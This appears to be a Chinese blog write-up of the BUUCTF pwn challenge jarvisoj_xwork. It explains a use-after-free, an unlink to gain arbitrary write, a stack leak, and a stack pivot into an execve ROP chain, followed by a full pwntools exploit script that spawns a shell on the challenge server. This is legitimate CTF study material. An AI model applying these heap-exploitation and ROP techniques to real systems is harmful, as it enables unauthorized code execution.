[BUUCTF-pwn] jarvisoj_xwork

练习记录

一道静态编译的堆栈题。把堆和栈的两个知识点加到一起

概况:

  1. 静态编译,一般这种情况有syscall和int 0x80,可以用rop或者shellcode(需要rwx段,这题没有)
  2. PIE未开,可以很容易控制指针
  3. 删除符号表,这个比较烦人,根据情况自己命名,还是是菜单题比较容易找无非就是add,free,edit,show,read,atoi之类
  4. free很直接留着指针,add只能写31字节10次,还有edit似乎很容易解决

先大概把容易明白的函数命个名,逐个把菜单看看,有个UAF。但没有libc的情况下,即便很容易fastbin attack也不能搞到got,_free_hook,__malloc_hook之类,倒里栈题里用的ROP,可这里需要栈地址。一般情况下题目加载里没必要放栈地址,栈地址在libc里通过environ获得,如果留了后门就太好了。

用gdb跟进,发现0x6cc640这个位置放着类似environ的栈地址

操作步骤:

  1. 由于fastbin attack要有头标记,最容易的方法就是unlink这个啥都不要。先建6个块(固定大小)一共能建10个,先浪费6个有点贵,但控制指针后就可以不用了。将来0和1合起来,0写unlink头,利用2unlink
  2. free1,2后2的fp指向1,可以泄露这个堆地址
  3. 修改2的指针+20,指向2-0x20这个位置可以写到2的头,建到这里后写pre_size=0x50,2的size改为0x90
  4. free 2 unlink到指针区
  5. 控制指针后将0的指针指向指针1的位置,通过修改1的指针和内容达到任意地址写的目的
  6. 有几个地方需要写
    1. 泄露0x6cc640这个位置得到栈地址
    2. 在name这个位置是可写的,在这里写入rop
    3. 在栈里(exit函数后边的ret位置)写下移栈ROP=pop rbp,name,leave_ret

代码:

from pwn import *

elf = ELF('./pwn')
context(arch = 'amd64',log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25924) 

menu = b'5.Exit\n'
def add(msg):
    p.sendlineafter(menu, b'1')
    sleep(0.1)
    p.send(msg)

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b'index:', str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b'index:', str(idx).encode())
    p.send(msg)

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b'index:', str(idx).encode())

p.sendafter(b'name:', b'/bin/sh\x00') #0x6ccdc0

ptr = 0x6ccd60
#unlink head
add(flat(0,0x51,ptr-0x18,ptr-0x10)[:-1])
add(flat(0,0,0,0x31)[:-1]) 
add(b'A') 
add(b'A') 
add(b'A') 
add(b'A') 

#change chunk pre_size,size
free(1)
free(2)
show(2)
heap = u64(p.recv(8))
edit(2, p64(heap+0x20))
add(b'A')
add(flat(0x50,0x90))
free(2) #unlink

#leak stack
edit(0, flat(0, 0x6cbb80,0, ptr+8)[:-1])
edit(0, flat(0x6cc640))

show(1)
stack = u64(p.recv(8)) - 0x170

pop_rdi = 0x00000000004018a6 # pop rdi ; ret
pop_rsi = 0x00000000004019c7 # pop rsi ; ret
pop_rdx = 0x0000000000443166 # pop rdx ; ret
pop_rbp = 0x00000000004004d1 # pop rbp ; ret
pop_adb = 0x00000000004789a6 # pop rax ; pop rdx ; pop rbx ; ret
leave_ret = 0x0000000000400a12 # leave ; ret
syscall = 0x00000000004003da # syscall 
name      = 0x6ccdc0
bin_sh    = name
new_stack = name+8

#rax=3b rdi->/bin/sh rsi=0 rdx=0
edit(0, p64(new_stack))
edit(1, flat(pop_rdi, bin_sh, pop_rsi))
edit(0, p64(new_stack + 0x18*1))
edit(1, flat(0, pop_adb, 0x3b))
edit(0, p64(new_stack + 0x18*2))
edit(1, flat(0, 0, syscall))
#mov stack to new_stack
edit(0, p64(stack))
edit(1, flat(pop_rbp, new_stack -8, leave_ret))

sleep(0.2)
p.sendline(b'cat /flag')
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值